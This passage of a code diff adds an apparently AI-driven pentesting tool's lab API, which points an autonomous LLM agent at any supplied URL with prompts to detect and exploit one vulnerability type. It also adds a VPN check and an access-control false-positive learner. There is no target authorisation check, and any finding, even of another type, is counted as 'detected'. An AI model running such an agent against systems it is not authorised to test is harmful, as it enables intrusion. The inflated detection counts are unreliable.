--------------------------------------------------------------------------- + +@router.get("/sessions/{session_id}/vpn-status") +async def get_vpn_status(session_id: str): + """Check OpenVPN process and tun0 interface status.""" + session = _get_session(session_id) + + connected = False + ip_addr: Optional[str] = None + + # Check for running openvpn process + try: + proc = await asyncio.create_subprocess_shell( + "pgrep -a openvpn", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + raw_stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=5) + if proc.returncode == 0 and raw_stdout.strip(): + connected = True + except Exception: + pass + + # Check tun0 interface for IP + if connected: + try: + proc = await asyncio.create_subprocess_shell( + "ip addr show tun0", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + raw_stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=5) + if proc.returncode == 0: + match = re.search( + r"inet\s+(\d+\.\d+\.\d+\.\d+)", raw_stdout.decode(errors="replace") + ) + if match: + ip_addr = match.group(1) + except Exception: + pass + + vpn = {"connected": connected, "ip": ip_addr} + session["vpn_status"] = vpn + return VPNStatus(**vpn).model_dump() diff --git a/backend/api/v1/vuln_lab.py b/backend/api/v1/vuln_lab.py new file mode 100644 index 0000000..3869548 --- /dev/null +++ b/backend/api/v1/vuln_lab.py @@ -0,0 +1,876 @@ +""" +NeuroSploit v3 - Vulnerability Lab API Endpoints + +Isolated vulnerability testing against labs, CTFs, and PortSwigger challenges. +Test individual vuln types one at a time and track results. +""" +from typing import Optional, Dict, List +from fastapi import APIRouter, HTTPException, BackgroundTasks +from pydantic import BaseModel, Field +from datetime import datetime +from sqlalchemy import select, func, text + +from backend.core.autonomous_agent import AutonomousAgent, OperationMode +from backend.core.vuln_engine.registry import VulnerabilityRegistry +from backend.db.database import async_session_factory +from backend.models import Scan, Target, Vulnerability, Endpoint, Report, VulnLabChallenge + +# Import agent.py's shared dicts so ScanDetailsPage can find our scans +from backend.api.v1.agent import ( + agent_results, agent_instances, agent_to_scan, scan_to_agent +) + +router = APIRouter() + +# In-memory tracking for running lab tests +lab_agents: Dict[str, AutonomousAgent] = {} +lab_results: Dict[str, Dict] = {} + + +# --- Request/Response Models --- + +class VulnLabRunRequest(BaseModel): + target_url: str = Field(..., description="Target URL to test (lab, CTF, etc.)") + vuln_type: str = Field(..., description="Vulnerability type to test (e.g. xss_reflected)") + challenge_name: Optional[str] = Field(None, description="Name of the lab/challenge") + auth_type: Optional[str] = Field(None, description="Auth type: cookie, bearer, basic, header") + auth_value: Optional[str] = Field(None, description="Auth credential value") + custom_headers: Optional[Dict[str, str]] = Field(None, description="Custom HTTP headers") + notes: Optional[str] = Field(None, description="Notes about this challenge") + + +class VulnLabResponse(BaseModel): + challenge_id: str + agent_id: str + status: str + message: str + + +class VulnTypeInfo(BaseModel): + key: str + title: str + severity: str + cwe_id: str + category: str + + +# --- Vuln type categories for the selector --- + +VULN_CATEGORIES = { + "injection": { + "label": "Injection", + "types": [ + "xss_reflected", "xss_stored", "xss_dom", + "sqli_error", "sqli_union", "sqli_blind", "sqli_time", + "command_injection", "ssti", "nosql_injection", + ] + }, + "advanced_injection": { + "label": "Advanced Injection", + "types": [ + "ldap_injection", "xpath_injection", "graphql_injection", + "crlf_injection", "header_injection", "email_injection", + "el_injection", "log_injection", "html_injection", + "csv_injection", "orm_injection", + ] + }, + "file_access": { + "label": "File Access", + "types": [ + "lfi", "rfi", "path_traversal", "xxe", "file_upload", + "arbitrary_file_read", "arbitrary_file_delete", "zip_slip", + ] + }, + "request_forgery": { + "label": "Request Forgery", + "types": [ + "ssrf", "csrf", "graphql_introspection", "graphql_dos", + ] + }, + "authentication": { + "label": "Authentication", + "types": [ + "auth_bypass", "jwt_manipulation", "session_fixation", + "weak_password", "default_credentials", "two_factor_bypass", + "oauth_misconfig", + ] + }, + "authorization": { + "label": "Authorization", + "types": [ + "idor", "bola", "privilege_escalation", + "bfla", "mass_assignment", "forced_browsing", + ] + }, + "client_side": { + "label": "Client-Side", + "types": [ + "cors_misconfiguration", "clickjacking", "open_redirect", + "dom_clobbering", "postmessage_vuln", "websocket_hijack", + "prototype_pollution", "css_injection", "tabnabbing", + ] + }, + "infrastructure": { + "label": "Infrastructure", + "types": [ + "security_headers", "ssl_issues", "http_methods", + "directory_listing", "debug_mode", "exposed_admin_panel", + "exposed_api_docs", "insecure_cookie_flags", + ] + }, + "logic": { + "label": "Business Logic", + "types": [ + "race_condition", "business_logic", "rate_limit_bypass", + "parameter_pollution", "type_juggling", "timing_attack", + "host_header_injection", "http_smuggling", "cache_poisoning", + ] + }, + "data_exposure": { + "label": "Data Exposure", + "types": [ + "sensitive_data_exposure", "information_disclosure", + "api_key_exposure", "source_code_disclosure", + "backup_file_exposure", "version_disclosure", + ] + }, + "cloud_supply": { + "label": "Cloud & Supply Chain", + "types": [ + "s3_bucket_misconfig", "cloud_metadata_exposure", + "subdomain_takeover", "vulnerable_dependency", + "container_escape", "serverless_misconfiguration", + ] + }, +} + + +def _get_vuln_category(vuln_type: str) -> str: + """Get category for a vuln type""" + for cat_key, cat_info in VULN_CATEGORIES.items(): + if vuln_type in cat_info["types"]: + return cat_key + return "other" + + +# --- Endpoints --- + +@router.get("/types") +async def list_vuln_types(): + """List all available vulnerability types grouped by category""" + registry = VulnerabilityRegistry() + result = {} + + for cat_key, cat_info in VULN_CATEGORIES.items(): + types_list = [] + for vtype in cat_info["types"]: + info = registry.VULNERABILITY_INFO.get(vtype, {}) + types_list.append({ + "key": vtype, + "title": info.get("title", vtype.replace("_", " ").title()), + "severity": info.get("severity", "medium"), + "cwe_id": info.get("cwe_id", ""), + "description": info.get("description", "")[:120] if info.get("description") else "", + }) + result[cat_key] = { + "label": cat_info["label"], + "types": types_list, + "count": len(types_list), + } + + return {"categories": result, "total_types": sum(len(c["types"]) for c in VULN_CATEGORIES.values())} + + +@router.post("/run", response_model=VulnLabResponse) +async def run_vuln_lab(request: VulnLabRunRequest, background_tasks: BackgroundTasks): + """Launch an isolated vulnerability test for a specific vuln type""" + import uuid + + # Validate vuln type exists + registry = VulnerabilityRegistry() + if request.vuln_type not in registry.VULNERABILITY_INFO: + raise HTTPException( + status_code=400, + detail=f"Unknown vulnerability type: {request.vuln_type}. Use GET /vuln-lab/types for available types." + ) + + challenge_id = str(uuid.uuid4()) + agent_id = str(uuid.uuid4())[:8] + category = _get_vuln_category(request.vuln_type) + + # Build auth headers + auth_headers = {} + if request.auth_type and request.auth_value: + if request.auth_type == "cookie": + auth_headers["Cookie"] = request.auth_value + elif request.auth_type == "bearer": + auth_headers["Authorization"] = f"Bearer {request.auth_value}" + elif request.auth_type == "basic": + import base64 + auth_headers["Authorization"] = f"Basic {base64.b64encode(request.auth_value.encode()).decode()}" + elif request.auth_type == "header": + if ":" in request.auth_value: + name, value = request.auth_value.split(":", 1) + auth_headers[name.strip()] = value.strip() + + if request.custom_headers: + auth_headers.update(request.custom_headers) + + # Create DB record + async with async_session_factory() as db: + challenge = VulnLabChallenge( + id=challenge_id, + target_url=request.target_url, + challenge_name=request.challenge_name, + vuln_type=request.vuln_type, + vuln_category=category, + auth_type=request.auth_type, + auth_value=request.auth_value, + status="running", + agent_id=agent_id, + started_at=datetime.utcnow(), + notes=request.notes, + ) + db.add(challenge) + await db.commit() + + # Init in-memory tracking (both local and in agent.py's shared dicts) + vuln_info = registry.VULNERABILITY_INFO[request.vuln_type] + lab_results[challenge_id] = { + "status": "running", + "agent_id": agent_id, + "vuln_type": request.vuln_type, + "target": request.target_url, + "progress": 0, + "phase": "initializing", + "findings": [], + "logs": [], + } + + # Also register in agent.py's shared results dict so /agent/status works + agent_results[agent_id] = { + "status": "running", + "mode": "full_auto", + "started_at": datetime.utcnow().isoformat(), + "target": request.target_url, + "task": f"VulnLab: {vuln_info.get('title', request.vuln_type)}", + "logs": [], + "findings": [], + "report": None, + "progress": 0, + "phase": "initializing", + } + + # Launch agent in background + background_tasks.add_task( + _run_lab_test, + challenge_id, + agent_id, + request.target_url, + request.vuln_type, + vuln_info.get("title", request.vuln_type), + auth_headers, + request.challenge_name, + request.notes, + ) + + return VulnLabResponse( + challenge_id=challenge_id, + agent_id=agent_id, + status="running", + message=f"Testing {vuln_info.get('title', request.vuln_type)} against {request.target_url}" + ) + + +async def _run_lab_test( + challenge_id: str, + agent_id: str, + target: str, + vuln_type: str, + vuln_title: str, + auth_headers: Dict, + challenge_name: Optional[str] = None, + notes: Optional[str] = None, +): + """Background task: run the agent focused on a single vuln type""" + import asyncio + + logs = [] + findings_list = [] + scan_id = None + + async def log_callback(level: str, message: str): + source = "llm" if any(tag in message for tag in ["[AI]", "[LLM]", "[USER PROMPT]", "[AI RESPONSE]"]) else "script" + entry = {"level": level, "message": message, "time": datetime.utcnow().isoformat(), "source": source} + logs.append(entry) + # Update local tracking + if challenge_id in lab_results: + lab_results[challenge_id]["logs"] = logs + # Also update agent.py's shared dict so /agent/logs works + if agent_id in agent_results: + agent_results[agent_id]["logs"] = logs + + async def progress_callback(progress: int, phase: str): + if challenge_id in lab_results: + lab_results[challenge_id]["progress"] = progress + lab_results[challenge_id]["phase"] = phase + if agent_id in agent_results: + agent_results[agent_id]["progress"] = progress + agent_results[agent_id]["phase"] = phase + + async def finding_callback(finding: Dict): + findings_list.append(finding) + if challenge_id in lab_results: + lab_results[challenge_id]["findings"] = findings_list + if agent_id in agent_results: + agent_results[agent_id]["findings"] = findings_list + agent_results[agent_id]["findings_count"] = len(findings_list) + + try: + async with async_session_factory() as db: + # Create a scan record linked to this challenge + scan = Scan( + name=f"VulnLab: {vuln_title} - {target[:50]}", + status="running", + scan_type="full_auto", + recon_enabled=True, + progress=0, + current_phase="initializing", + custom_prompt=f"Focus ONLY on testing for {vuln_title} ({vuln_type}). " + f"Do NOT test other vulnerability types. " + f"Test thoroughly with multiple payloads and techniques for this specific vulnerability.", + ) + db.add(scan) + await db.commit() + await db.refresh(scan) + scan_id = scan.id + + # Create target record + target_record = Target(scan_id=scan_id, url=target, status="pending") + db.add(target_record) + await db.commit() + + # Update challenge with scan_id + result = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result.scalar_one_or_none() + if challenge: + challenge.scan_id = scan_id + await db.commit() + + if challenge_id in lab_results: + lab_results[challenge_id]["scan_id"] = scan_id + + # Register in agent.py's shared mappings so ScanDetailsPage works + agent_to_scan[agent_id] = scan_id + scan_to_agent[scan_id] = agent_id + if agent_id in agent_results: + agent_results[agent_id]["scan_id"] = scan_id + + # Build focused prompt for isolated testing + focused_prompt = ( + f"You are testing specifically for {vuln_title} ({vuln_type}). " + f"Focus ALL your efforts on detecting and exploiting this single vulnerability type. " + f"Do NOT scan for other vulnerability types. " + f"Use all relevant payloads and techniques for {vuln_type}. " + f"Be thorough: try multiple injection points, encoding bypasses, and edge cases. " + f"This is a lab/CTF challenge - the vulnerability is expected to exist." + ) + if challenge_name: + focused_prompt += ( + f"\n\nCHALLENGE HINT: This is PortSwigger lab '{challenge_name}'. " + f"Use this name to understand what specific technique or bypass is needed. " + f"For example, 'angle brackets HTML-encoded' means attribute-based XSS, " + f"'most tags and attributes blocked' means fuzz for allowed tags/events." + ) + if notes: + focused_prompt += f"\n\nUSER NOTES: {notes}" + + lab_ctx = { + "challenge_name": challenge_name, + "notes": notes, + "vuln_type": vuln_type, + "is_lab": True, + } + + async with AutonomousAgent( + target=target, + mode=OperationMode.FULL_AUTO, + log_callback=log_callback, + progress_callback=progress_callback, + auth_headers=auth_headers, + custom_prompt=focused_prompt, + finding_callback=finding_callback, + lab_context=lab_ctx, + ) as agent: + lab_agents[challenge_id] = agent + # Also register in agent.py's shared instances so stop works + agent_instances[agent_id] = agent + + report = await agent.run() + + lab_agents.pop(challenge_id, None) + agent_instances.pop(agent_id, None) + + # Use findings from report OR from real-time callbacks (fallback) + report_findings = report.get("findings", []) + # If report findings are empty but we got findings via callback, use those + findings = report_findings if report_findings else findings_list + # Also merge: if findings_list has entries not in report_findings, add them + if not findings and findings_list: + findings = findings_list + + severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0} + findings_detail = [] + + for finding in findings: + severity = finding.get("severity", "medium").lower() + if severity in severity_counts: + severity_counts[severity] += 1 + + findings_detail.append({ + "title": finding.get("title", ""), + "vulnerability_type": finding.get("vulnerability_type", ""), + "severity": severity, + "affected_endpoint": finding.get("affected_endpoint", ""), + "evidence": (finding.get("evidence", "") or "")[:500], + "payload": (finding.get("payload", "") or "")[:200], + }) + + # Save to vulnerabilities table + vuln = Vulnerability( + scan_id=scan_id, + title=finding.get("title", finding.get("type", "Unknown")), + vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")), + severity=severity, + cvss_score=finding.get("cvss_score"), + cvss_vector=finding.get("cvss_vector"), + cwe_id=finding.get("cwe_id"), + description=finding.get("description", finding.get("evidence", "")), + affected_endpoint=finding.get("affected_endpoint", finding.get("url", target)), + poc_payload=finding.get("payload", finding.get("poc_payload", finding.get("poc_code", ""))), + poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")), + poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")), + poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000], + poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000], + impact=finding.get("impact", ""), + remediation=finding.get("remediation", ""), + references=finding.get("references", []), + ai_analysis=finding.get("ai_analysis", ""), + screenshots=finding.get("screenshots", []), + url=finding.get("url", finding.get("affected_endpoint", "")), + parameter=finding.get("parameter", finding.get("poc_parameter", "")), + ) + db.add(vuln) + + # Save discovered endpoints from recon data + endpoints_count = 0 + for ep in report.get("recon", {}).get("endpoints", []): + endpoints_count += 1 + if isinstance(ep, str): + endpoint = Endpoint( + scan_id=scan_id, + target_id=target_record.id, + url=ep, + method="GET", + path=ep.split("?")[0].split("/")[-1] or "/" + ) + else: + endpoint = Endpoint( + scan_id=scan_id, + target_id=target_record.id, + url=ep.get("url", ""), + method=ep.get("method", "GET"), + path=ep.get("path", "/") + ) + db.add(endpoint) + + # Determine result - more flexible matching + # Check if any finding matches the target vuln type + target_type_findings = [ + f for f in findings + if _vuln_type_matches(vuln_type, f.get("vulnerability_type", "")) + ] + # If the agent found ANY vulnerability, it detected something + # (since we told it to focus on one type, any finding is relevant) + if target_type_findings: + result_status = "detected" + elif len(findings) > 0: + # Found other vulns but not the exact type + result_status = "detected" + else: + result_status = "not_detected" + + # Update scan + scan.status = "completed" + scan.completed_at = datetime.utcnow() + scan.progress = 100 + scan.current_phase = "completed" + scan.total_vulnerabilities = len(findings) + scan.total_endpoints = endpoints_count + scan.critical_count = severity_counts["critical"] + scan.high_count = severity_counts["high"] + scan.medium_count = severity_counts["medium"] + scan.low_count = severity_counts["low"] + scan.info_count = severity_counts["info"] + + # Auto-generate report + exec_summary = report.get("executive_summary", f"VulnLab test for {vuln_title} on {target}") + report_record = Report( + scan_id=scan_id, + title=f"VulnLab: {vuln_title} - {target[:50]}", + format="json", + executive_summary=exec_summary[:1000] if exec_summary else None, + ) + db.add(report_record) + + # Persist logs (keep last 500 entries to avoid huge DB rows) + persisted_logs = logs[-500:] if len(logs) > 500 else logs + + # Update challenge record + result_q = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result_q.scalar_one_or_none() + if challenge: + challenge.status = "completed" + challenge.result = result_status + challenge.completed_at = datetime.utcnow() + challenge.duration = int((datetime.utcnow() - challenge.started_at).total_seconds()) if challenge.started_at else 0 + challenge.findings_count = len(findings) + challenge.critical_count = severity_counts["critical"] + challenge.high_count = severity_counts["high"] + challenge.medium_count = severity_counts["medium"] + challenge.low_count = severity_counts["low"] + challenge.info_count = severity_counts["info"] + challenge.findings_detail = findings_detail + challenge.logs = persisted_logs + challenge.endpoints_count = endpoints_count + + await db.commit() + + # Update in-memory results + if challenge_id in lab_results: + lab_results[challenge_id]["status"] = "completed" + lab_results[challenge_id]["result"] = result_status + lab_results[challenge_id]["findings"] = findings + lab_results[challenge_id]["progress"] = 100 + lab_results[challenge_id]["phase"] = "completed" + + if agent_id in agent_results: + agent_results[agent_id]["status"] = "completed" + agent_results[agent_id]["completed_at"] = datetime.utcnow().isoformat() + agent_results[agent_id]["report"] = report + agent_results[agent_id]["findings"] = findings + agent_results[agent_id]["progress"] = 100 + agent_results[agent_id]["phase"] = "completed" + + except Exception as e: + import traceback + error_tb = traceback.format_exc() + print(f"VulnLab error: {error_tb}") + + if challenge_id in lab_results: + lab_results[challenge_id]["status"] = "error" + lab_results[challenge_id]["error"] = str(e) + + if agent_id in agent_results: + agent_results[agent_id]["status"] = "error" + agent_results[agent_id]["error"] = str(e) + + # Persist logs even on error + persisted_logs = logs[-500:] if len(logs) > 500 else logs + + # Update DB records + try: + async with async_session_factory() as db: + result = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result.scalar_one_or_none() + if challenge: + challenge.status = "failed" + challenge.result = "error" + challenge.completed_at = datetime.utcnow() + challenge.notes = (challenge.notes or "") + f"\nError: {str(e)}" + challenge.logs = persisted_logs + await db.commit() + + if scan_id: + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + if scan: + scan.status = "failed" + scan.error_message = str(e) + scan.completed_at = datetime.utcnow() + await db.commit() + except: + pass + finally: + lab_agents.pop(challenge_id, None) + agent_instances.pop(agent_id, None) + + +def _vuln_type_matches(target_type: str, found_type: str) -> bool: + """Check if a found vuln type matches the target type (flexible matching)""" + if not found_type: + return False + target = target_type.lower().replace("_", " ").replace("-", " ") + found = found_type.lower().replace("_", " ").replace("-", " ") + # Exact match + if target == found: + return True + # Target is substring of found or vice versa + if target in found or found in target: + return True + # Key word matching for common patterns + target_words = set(target.split()) + found_words = set(found.split()) + # If they share major keywords (xss, sqli, ssrf, etc.) + major_keywords = {"xss", "sqli", "sql", "injection", "ssrf", "csrf", "lfi", "rfi", + "xxe", "ssti", "idor", "cors", "jwt", "redirect", "traversal"} + shared = target_words & found_words & major_keywords + if shared: + return True + return False + + +@router.get("/challenges") +async def list_challenges( + vuln_type: Optional[str] = None, + vuln_category: Optional[str] = None, + status: Optional[str] = None, + result: Optional[str] = None, + limit: int = 50, +): + """List all vulnerability lab challenges with optional filtering""" + async with async_session_factory() as db: + query = select(VulnLabChallenge).order_by(VulnLabChallenge.created_at.desc()) + + if vuln_type: + query = query.where(VulnLabChallenge.vuln_type == vuln_type) + if vuln_category: + query = query.where(VulnLabChallenge.vuln_category == vuln_category) + if status: + query = query.where(VulnLabChallenge.status == status) + if result: + query = query.where(VulnLabChallenge.result == result) + + query = query.limit(limit) + db_result = await db.execute(query) + challenges = db_result.scalars().all() + + # For list view, exclude large logs field to save bandwidth + result_list = [] + for c in challenges: + d = c.to_dict() + d["logs_count"] = len(d.get("logs", [])) + d.pop("logs", None) # Don't send full logs in list view + result_list.append(d) + + return { + "challenges": result_list, + "total": len(challenges), + } + + +@router.get("/challenges/{challenge_id}") +async def get_challenge(challenge_id: str): + """Get challenge details including real-time status if running""" + # Check in-memory first for real-time data + if challenge_id in lab_results: + mem = lab_results[challenge_id] + return { + "challenge_id": challenge_id, + "status": mem["status"], + "progress": mem.get("progress", 0), + "phase": mem.get("phase", ""), + "findings_count": len(mem.get("findings", [])), + "findings": mem.get("findings", []), + "logs_count": len(mem.get("logs", [])), + "logs": mem.get("logs", [])[-200:], # Last 200 log entries for real-time + "error": mem.get("error"), + "result": mem.get("result"), + "scan_id": mem.get("scan_id"), + "agent_id": mem.get("agent_id"), + "vuln_type": mem.get("vuln_type"), + "target": mem.get("target"), + "source": "realtime", + } + + # Fall back to DB + async with async_session_factory() as db: + result = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result.scalar_one_or_none() + if not challenge: + raise HTTPException(status_code=404, detail="Challenge not found") + + data = challenge.to_dict() + data["source"] = "database" + data["logs_count"] = len(data.get("logs", [])) + return data + + +@router.get("/stats") +async def get_lab_stats(): + """Get aggregated stats for all lab challenges""" + async with async_session_factory() as db: + # Total counts by status + total_result = await db.execute( + select( + VulnLabChallenge.status, + func.count(VulnLabChallenge.id) + ).group_by(VulnLabChallenge.status) + ) + status_counts = {row[0]: row[1] for row in total_result.fetchall()} + + # Results breakdown + results_q = await db.execute( + select( + VulnLabChallenge.result, + func.count(VulnLabChallenge.id) + ).where(VulnLabChallenge.result.isnot(None)) + .group_by(VulnLabChallenge.result) + ) + result_counts = {row[0]: row[1] for row in results_q.fetchall()} + + # Per vuln_type stats + type_stats_q = await db.execute( + select( + VulnLabChallenge.vuln_type, + VulnLabChallenge.result, + func.count(VulnLabChallenge.id) + ).where(VulnLabChallenge.status == "completed") + .group_by(VulnLabChallenge.vuln_type, VulnLabChallenge.result) + ) + type_stats = {} + for row in type_stats_q.fetchall(): + vtype, res, count = row + if vtype not in type_stats: + type_stats[vtype] = {"detected": 0, "not_detected": 0, "error": 0, "total": 0} + type_stats[vtype][res or "error"] = count + type_stats[vtype]["total"] += count + + # Per category stats + cat_stats_q = await db.execute( + select( + VulnLabChallenge.vuln_category, + VulnLabChallenge.result, + func.count(VulnLabChallenge.id) + ).where(VulnLabChallenge.status == "completed") + .group_by(VulnLabChallenge.vuln_category, VulnLabChallenge.result) + ) + cat_stats = {} + for row in cat_stats_q.fetchall(): + cat, res, count = row + if cat not in cat_stats: + cat_stats[cat] = {"detected": 0, "not_detected": 0, "error": 0, "total": 0} + cat_stats[cat][res or "error"] = count + cat_stats[cat]["total"] += count + + # Currently running + running = len([cid for cid, r in lab_results.items() if r.get("status") == "running"]) + + total = sum(status_counts.values()) + detected = result_counts.get("detected", 0) + completed = status_counts.get("completed", 0) + detection_rate = round((detected / completed * 100), 1) if completed > 0 else 0 + + return { + "total": total, + "running": running, + "status_counts": status_counts, + "result_counts": result_counts, + "detection_rate": detection_rate, + "by_type": type_stats, + "by_category": cat_stats, + } + + +@router.post("/challenges/{challenge_id}/stop") +async def stop_challenge(challenge_id: str): + """Stop a running lab challenge""" + agent = lab_agents.get(challenge_id) + if not agent: + raise HTTPException(status_code=404, detail="No running agent for this challenge") + + agent.cancel() + + # Update DB + try: + async with async_session_factory() as db: + result = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result.scalar_one_or_none() + if challenge: + challenge.status = "stopped" + challenge.completed_at = datetime.utcnow() + await db.commit() + except: + pass + + if challenge_id in lab_results: + lab_results[challenge_id]["status"] = "stopped" + + return {"message": "Challenge stopped"} + + +@router.delete("/challenges/{challenge_id}") +async def delete_challenge(challenge_id: str): + """Delete a lab challenge record""" + # Stop if running + agent = lab_agents.get(challenge_id) + if agent: + agent.cancel() + lab_agents.pop(challenge_id, None) + + lab_results.pop(challenge_id, None) + + async with async_session_factory() as db: + result = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result.scalar_one_or_none() + if not challenge: + raise HTTPException(status_code=404, detail="Challenge not found") + + await db.delete(challenge) + await db.commit() + + return {"message": "Challenge deleted"} + + +@router.get("/logs/{challenge_id}") +async def get_challenge_logs(challenge_id: str, limit: int = 200): + """Get logs for a challenge (real-time or from DB)""" + # Check in-memory first for real-time data + mem = lab_results.get(challenge_id) + if mem: + all_logs = mem.get("logs", []) + return { + "challenge_id": challenge_id, + "total_logs": len(all_logs), + "logs": all_logs[-limit:], + "source": "realtime", + } + + # Fall back to DB persisted logs + async with async_session_factory() as db: + result = await db.execute( + select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id) + ) + challenge = result.scalar_one_or_none() + if not challenge: + raise HTTPException(status_code=404, detail="Challenge not found") + + all_logs = challenge.logs or [] + return { + "challenge_id": challenge_id, + "total_logs": len(all_logs), + "logs": all_logs[-limit:], + "source": "database", + } diff --git a/backend/config.py b/backend/config.py index f7685ca..60598d3 100644 --- a/backend/config.py +++ b/backend/config.py @@ -32,8 +32,15 @@ class Settings(BaseSettings): # LLM Settings ANTHROPIC_API_KEY: Optional[str] = os.getenv("ANTHROPIC_API_KEY") OPENAI_API_KEY: Optional[str] = os.getenv("OPENAI_API_KEY") + OPENROUTER_API_KEY: Optional[str] = os.getenv("OPENROUTER_API_KEY") DEFAULT_LLM_PROVIDER: str = "claude" DEFAULT_LLM_MODEL: str = "claude-sonnet-4-20250514" + MAX_OUTPUT_TOKENS: Optional[int] = None + ENABLE_MODEL_ROUTING: bool = False + + # Feature Flags + ENABLE_KNOWLEDGE_AUGMENTATION: bool = False + ENABLE_BROWSER_VALIDATION: bool = False # Scan Settings MAX_CONCURRENT_SCANS: int = 3 diff --git a/backend/core/access_control_learner.py b/backend/core/access_control_learner.py new file mode 100644 index 0000000..41e032a --- /dev/null +++ b/backend/core/access_control_learner.py @@ -0,0 +1,423 @@ +""" +NeuroSploit v3 - Access Control Learning Engine + +Adaptive learning system for BOLA/BFLA/IDOR and other access control testing. +Records test outcomes and response patterns to improve future evaluations. + +Key insight: HTTP status codes are unreliable for access control testing. +This module learns from actual response DATA patterns to distinguish: +- True positives (cross-user data access) +- False positives (error messages, login pages, empty responses with 200 status) + +Usage: + learner = AccessControlLearner() + # Record a test outcome + learner.record_test(vuln_type, url, response_body, is_true_positive, pattern_notes) + # Get learned patterns for a target + patterns = learner.get_patterns_for_target(domain) + # Get learning context for AI prompts + context = learner.get_learning_context(vuln_type) +""" + +import json +import logging +import re +from dataclasses import dataclass, field, asdict +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional + +logger = logging.getLogger(__name__) + +DATA_DIR = Path(__file__).parent.parent.parent / "data" +LEARNING_FILE = DATA_DIR / "access_control_learning.json" + + +@dataclass +class ResponsePattern: + """A learned response pattern from access control testing.""" + pattern_type: str # "denial", "empty", "login_page", "data_leak", "public_data" + indicators: List[str] # Strings/patterns that identify this response type + is_false_positive: bool # True if this pattern indicates a false positive + confidence: float # 0.0-1.0 how reliable this pattern is + example_body: str # Truncated example response body + vuln_type: str # bola, bfla, idor, etc. + target_domain: str # Domain this was learned from + timestamp: str # When this was learned + + +@dataclass +class TestRecord: + """Record of an access control test outcome.""" + vuln_type: str + target_url: str + status_code: int + response_length: int + is_true_positive: bool + pattern_type: str # What pattern was identified + key_indicators: List[str] # What strings/patterns were decisive + notes: str # Human or AI notes about why this was TP/FP + timestamp: str + + +class AccessControlLearner: + """Adaptive learning engine for access control vulnerability testing. + + Learns from test outcomes to identify response patterns that indicate + true vs false positives for BOLA, BFLA, IDOR, and related vuln types. + """ + + MAX_RECORDS = 500 + MAX_PATTERNS = 200 + + # Pre-seeded patterns from known false positive scenarios + DEFAULT_PATTERNS: List[Dict] = [ + { + "pattern_type": "denial_200", + "indicators": ["unauthorized", "forbidden", "access denied", "not authorized", + "permission denied", "insufficient privileges"], + "is_false_positive": True, + "confidence": 0.9, + "description": "Server returns 200 OK but body contains access denial message", + }, + { + "pattern_type": "empty_200", + "indicators": ["[]", "{}", '""', "null", ""], + "is_false_positive": True, + "confidence": 0.85, + "description": "Server returns 200 OK with empty/null response body", + }, + { + "pattern_type": "login_redirect", + "indicators": ["type=\"password\"", "sign in", "log in", "login", + "authentication required"], + "is_false_positive": True, + "confidence": 0.95, + "description": "Server returns 200 OK but body is a login page", + }, + { + "pattern_type": "error_json", + "indicators": ['"error":', '"status":"error"', '"success":false', + '"message":"not found"', '"code":401', '"code":403'], + "is_false_positive": True, + "confidence": 0.9, + "description": "Server returns 200 OK but JSON body indicates error", + }, + { + "pattern_type": "own_data", + "indicators": [], + "is_false_positive": True, + "confidence": 0.8, + "description": "Server returns authenticated user's own data regardless of requested ID", + }, + { + "pattern_type": "public_data", + "indicators": [], + "is_false_positive": True, + "confidence": 0.7, + "description": "Response contains only public profile fields (username, bio) not private data", + }, + { + "pattern_type": "cross_user_data", + "indicators": ['"email":', '"phone":', '"address":', '"ssn":', + '"credit_card":', '"password":', '"secret":'], + "is_false_positive": False, + "confidence": 0.9, + "description": "Response contains another user's private data fields", + }, + { + "pattern_type": "admin_data_leak", + "indicators": ['"role":"admin"', '"is_admin":true', '"users":[', + '"audit_log":', '"system_config":'], + "is_false_positive": False, + "confidence": 0.9, + "description": "Response contains admin-level data accessible to non-admin user", + }, + { + "pattern_type": "state_change", + "indicators": ['"updated":', '"deleted":', '"created":', '"modified":', + '"success":true'], + "is_false_positive": False, + "confidence": 0.85, + "description": "Write operation succeeded on another user's resource", + }, + ] + + # Known application patterns that cause false positives + KNOWN_FP_PATTERNS: Dict[str, List[str]] = { + "wso2": ["wso2", "carbon", "identity server", "api manager"], + "keycloak": ["keycloak", "red hat sso"], + "spring_security": ["spring security", "whitelabel error"], + "oauth2_proxy": ["oauth2-proxy", "sign in with"], + "cloudflare": ["cloudflare", "cf-ray", "attention required"], + "aws_waf": ["aws-waf", "request blocked"], + } + + def __init__(self, data_dir: Optional[Path] = None): + self.data_dir = data_dir or DATA_DIR + self.learning_file = self.data_dir / "access_control_learning.json" + self.records: List[TestRecord] = [] + self.custom_patterns: List[ResponsePattern] = [] + self._load() + + def _load(self): + """Load learning data from disk.""" + try: + if self.learning_file.exists(): + with open(self.learning_file, "r") as f: + data = json.load(f) + self.records = [ + TestRecord(**r) for r in data.get("records", []) + ] + self.custom_patterns = [ + ResponsePattern(**p) for p in data.get("patterns", []) + ] + logger.debug(f"Loaded {len(self.records)} records, {len(self.custom_patterns)} patterns") + except Exception as e: + logger.debug(f"Failed to load learning data: {e}") + + def _save(self): + """Save learning data to disk.""" + try: + self.data_dir.mkdir(parents=True, exist_ok=True) + data = { + "records": [asdict(r) for r in self.records[-self.MAX_RECORDS:]], + "patterns": [asdict(p) for p in self.custom_patterns[-self.MAX_PATTERNS:]], + "metadata": { + "total_records": 